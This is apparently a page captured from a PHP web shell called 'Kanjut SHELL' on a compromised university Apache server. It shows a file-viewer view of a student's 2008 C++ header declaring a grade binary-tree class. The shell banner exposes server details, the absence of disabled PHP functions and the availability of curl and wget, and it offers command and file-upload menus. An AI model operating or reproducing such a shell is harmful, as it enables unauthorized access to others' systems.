Kanjut SHELL
Server IP : 172.16.15.8  /  Your IP : 18.222.163.134
Web Server : Apache
System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.2.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0705) :  /home/grpatillo/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/grpatillo/stutree.h
/*      Author:         R.P. Patillo
        Instructor:     Dr. Ames
        Due Date:       Now. 13, 2008
        Complilation:   g++ stutreeclient.cpp -o stutreeclient.out
        Execution:      ./stutreeclient.out
*/


// stutree.h - header file for grade tree class

struct Treenode {               // A node in the tree
	int grade;              // grade itself
	int count;              // number of times this grade earned
	Treenode*  left;        // ptr to left subtree
	Treenode*  right;       // ptr to right subtree
};

class Gradetree {
public:
	// default constructor
		  Gradetree ();
	// copy constructor - for deep copies
		  Gradetree (const Gradetree& othergradetree);
	// destructor
		  ~Gradetree ();
	// overload assignment for deep copies
	void operator= (const Gradetree& othergradetree);
	// visit inorder and display grades
	void Inorder ();
	// visit preorder and display grades
	void Preorder ();
	// visit postorder and display grades
	void Postorder ();
	// display a sideways "picture" of the tree
	void TreePicture ();
	// add a new grade to the tree
	void Insert (int newgrade);
	// delete one occurrence of a grade from the tree (assumes grade exists)
	void Delete (int delgrade);
	// sum of grades within tree
	int SumGrades();
	// number of grades within tree
	int NumGrades();
	// calculates the average of grades in tree
	float AvgGrade();
	// number of nodes within tree
	int NodeCount();
	// the number of leaves in the tree
	int LeafCount();
	// the number of nodes that aren't nodes within tree
	int NonLeafCount();
	// checks if the two trees have the same shape
	bool SimilarTrees(Gradetree othertree);
	// the height of the tree
	int Height();

private:
	Treenode* copytree (Treenode* t);  // used by copy constructor and operator=
	void destroytree (Treenode* t);    // used by destructor

	// remainder of functions are recursive equivalents for public members
	void Inorder (Treenode* t);
	void Preorder (Treenode* t);
	void Postorder (Treenode* t);
	void Treepicture (Treenode* t, int level);
	void Insert (Treenode* &t, int newgrade);
	void Delete (Treenode* &t, int delgrade);
	int SumGrades(Treenode* t);
	int NumGrades(Treenode* t);
	int NodeCount(Treenode* t);
	int LeafCount(Treenode* t);
	int NonLeafCount(Treenode* t);
	bool SimilarTrees(Treenode* t, Gradetree othertree);
	int Height(Treenode* t);


	// Finally, the private data!
	Treenode* root;
};

#include "stutree.cpp"

Stv3n404 - 2023